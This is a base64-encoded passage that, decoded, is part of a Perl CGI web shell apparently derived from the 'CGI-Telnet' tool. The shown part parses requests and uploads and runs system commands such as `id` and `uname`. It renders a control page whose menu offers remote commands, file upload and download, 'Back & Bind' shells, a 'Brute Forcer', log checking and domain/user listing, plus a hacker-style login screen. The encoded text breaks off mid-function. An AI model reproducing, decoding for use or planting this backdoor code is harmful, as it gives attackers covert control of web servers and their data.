IENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKJGNvbHM9IDEzMDsKJHJvd3M9IDI2OwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgZnVuY3Rpb24gRW5jb2RlRGlyOiBlbmNvZGUgYmFzZTY0IFBhdGgKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRW5jb2RlRGlyCnsKCW15ICRkaXIgPSBzaGlmdDsKCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOwoJJGRpciA9fiBzLyhccnxcbikvLzsKCXJldHVybiAkZGlyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXIKIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUhlYWRlcgp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkaWQgPSBgaWRgIGlmKCEkV2luTlQpOwoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT4kRU5WeydTRVJWRVJfTkFNRSd9IHwgSVAgOiAkRU5WeydTRVJWRVJfQUREUid9IDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjogI2ZmZjsKfQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwp9CiNkb21haW4gdHI6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6ICM0NDQ7Cn0KdGQgewpjb2xvcjogI2ZmZmZmZjsKfQoubGlzdGRpciB0ZHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQoubGlzdGRpciB0aHsKCWNvbG9yOiAjRkY5OTAwOwp9Ci5kaXIsLmZpbGUKewoJdGV4dC1hbGlnbjogbGVmdCAhaW1wb3J0YW50Owp9Ci5kaXJ7Cglmb250LXNpemU6IDEwcHQ7IAoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KdGFibGUgewpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CmlucHV0IHsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjZmY5OTAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRW5jb2RlcihuYW1lKQp7Cgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsKCWUudmFsdWUgPSBidG9hKGUudmFsdWUpOwoJcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8Y2VudGVyPjxjb2RlPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4KCQk8Yj48Zm9udCBzaXplPSIzIj4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPgoJPC90ZD4KCTx0ZD4KCQkkaW5mbwoJPC90ZD4KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9InJlZCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9InJlZCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iLi4vZXJyb3JfbG9nLnBocCI+SGVscDwvYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CiRpZAo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxicj4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7ClR5cGluZ1RleHQucnVuQWxsKCk7Cgo8L3NjcmlwdD4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRW5jb2RlKCQpewoJbXkgJHN0ciA9IHNoaWZ0OwoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsKCXJldHVybiAkc3RyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7CglteSAkdGV4dCA9IHNoaWZ0OwoJJHRleHQgPX4gcy8mLyZhbXA7L2c7CgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7CgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7CgkkdGV4dCA9fiBzLzwvJmx0Oy9nOwoJJHRleHQgPX4gcy8+LyZndDsvZzsKCXJldHVybiAkdGV4dDsKfQojLS0tLS0